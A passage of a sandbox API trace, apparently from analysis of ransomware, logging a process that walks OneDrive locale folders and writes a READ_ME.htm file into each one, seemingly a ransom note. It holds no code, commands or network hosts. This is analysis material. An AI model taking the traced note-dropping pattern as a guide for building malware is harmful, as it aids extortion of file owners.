lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\quz-pe\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\quz-pe\\READ_ME.htm", lpFilePart=0x0) returned 0x55 [0145.962] SetErrorMode (uMode=0x1) returned 0x0 [0145.962] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\quz-pe\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\quz-pe\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.962] SetErrorMode (uMode=0x0) returned 0x1 [0145.962] GetFileType (hFile=0x1d0) returned 0x1 [0145.963] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ro", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ro", lpFilePart=0x0) returned 0x45 [0145.963] SetErrorMode (uMode=0x1) returned 0x0 [0145.963] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ro\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ro\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef195db0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef3f73b0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef3f73b0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.964] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.964] SetErrorMode (uMode=0x0) returned 0x1 [0145.964] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ro", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ro", lpFilePart=0x0) returned 0x45 [0145.964] SetErrorMode (uMode=0x1) returned 0x0 [0145.964] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ro\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ro\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef195db0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef3f73b0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef3f73b0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.965] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.965] SetErrorMode (uMode=0x0) returned 0x1 [0145.965] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ro\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ro\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.965] SetErrorMode (uMode=0x1) returned 0x0 [0145.965] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ro\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ro\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.965] SetErrorMode (uMode=0x0) returned 0x1 [0145.966] GetFileType (hFile=0x1d0) returned 0x1 [0145.967] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ru", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ru", lpFilePart=0x0) returned 0x45 [0145.967] SetErrorMode (uMode=0x1) returned 0x0 [0145.967] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ru\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ru\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef3f73b0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef60c6f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef60c6f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.969] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.969] SetErrorMode (uMode=0x0) returned 0x1 [0145.969] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ru", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ru", lpFilePart=0x0) returned 0x45 [0145.969] SetErrorMode (uMode=0x1) returned 0x0 [0145.969] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ru\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ru\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef3f73b0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef60c6f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef60c6f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.970] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.970] SetErrorMode (uMode=0x0) returned 0x1 [0145.970] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ru\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ru\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.970] SetErrorMode (uMode=0x1) returned 0x0 [0145.970] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ru\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ru\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.972] SetErrorMode (uMode=0x0) returned 0x1 [0145.972] GetFileType (hFile=0x1d0) returned 0x1 [0145.972] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\rw", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\rw", lpFilePart=0x0) returned 0x45 [0145.972] SetErrorMode (uMode=0x1) returned 0x0 [0145.973] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\rw\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\rw\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef60c6f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef893e50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef893e50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.973] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.973] SetErrorMode (uMode=0x0) returned 0x1 [0145.974] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\rw", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\rw", lpFilePart=0x0) returned 0x45 [0145.974] SetErrorMode (uMode=0x1) returned 0x0 [0145.974] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\rw\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\rw\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef60c6f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef893e50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef893e50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.974] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.974] SetErrorMode (uMode=0x0) returned 0x1 [0145.975] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\rw\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\rw\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.975] SetErrorMode (uMode=0x1) returned 0x0 [0145.975] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\rw\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\rw\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.975] SetErrorMode (uMode=0x0) returned 0x1 [0145.975] GetFileType (hFile=0x1d0) returned 0x1 [0145.976] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\sd-arab", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\sd-arab", lpFilePart=0x0) returned 0x4a [0145.976] SetErrorMode (uMode=0x1) returned 0x0 [0145.976] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\sd-arab\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\sd-arab\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef893e50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xefa83030, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xefa83030, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.977] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.977] SetErrorMode (uMode=0x0) returned 0x1 [0145.977] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\sd-arab", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\sd-arab", lpFilePart=0x0) returned 0x4a [0145.977] SetErrorMode (uMode=0x1) returned 0x0 [0145.977] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\sd-arab\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\sd-arab\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef893e50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xefa83030, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xefa83030, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.977] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.978] SetErrorMode (uMode=0x0) returned 0x1 [0145.978] SetErrorMode (uMode=0x1) returned 0x0 [0145.978] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\sd-arab\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\sd-arab\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.978] SetErrorMode (uMode=0x0) returned 0x1 [0145.978] GetFileType (hFile=0x1d0) returned 0x1 [0145.980] SetErrorMode (uMode=0x1) returned 0x0 [0145.980] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\sd-arab-pk\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\sd-arab-pk\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xefa83030, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xefd0a790, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xefd0a790, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.981] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.981] SetErrorMode (uMode=0x0) returned 0x1 [0146.028] GetFileType (hFile=0x1d0) returned 0x1 [0146.030] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf0d67ed0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf0ebeb30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf0ebeb30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.030] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf0ebeb30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf0ebeb30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf0ebeb30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x13ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.030] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf0ebeb30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf0ebeb30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf0ebeb30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x13ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.031] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf0d67ed0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf0ebeb30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf0ebeb30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.031] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf0ebeb30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf0ebeb30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf0ebeb30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x13ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.031] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf0ebeb30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf0ebeb30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf0ebeb30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x13ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.031] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\tg\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\tg\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.033] GetFileType (hFile=0x1d0) returned 0x1 [0146.035] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf0ebeb30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf0fef630, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf0fef630, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.035] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf0fef630, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf0fef630, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf0fef630, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x13ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.036] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf0fef630, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf0fef630, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf0fef630, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x13ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.036] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf0ebeb30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf0fef630, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf0fef630, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.036] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf0fef630, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf0fef630, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf0fef630, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x13ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.036] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf0fef630, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf0fef630, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf0fef630, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x13ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.037] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\tg-cyrl\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\tg-cyrl\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.037] GetFileType (hFile=0x1d0) returned 0x1 [0146.039] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf0fef630, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1146290, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1146290, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.039] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1146290, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1146290, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1146290, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x118b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.039] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1146290, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1146290, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1146290, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x118b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.039] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf0fef630, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1146290, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1146290, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.039] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1146290, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1146290, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1146290, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, 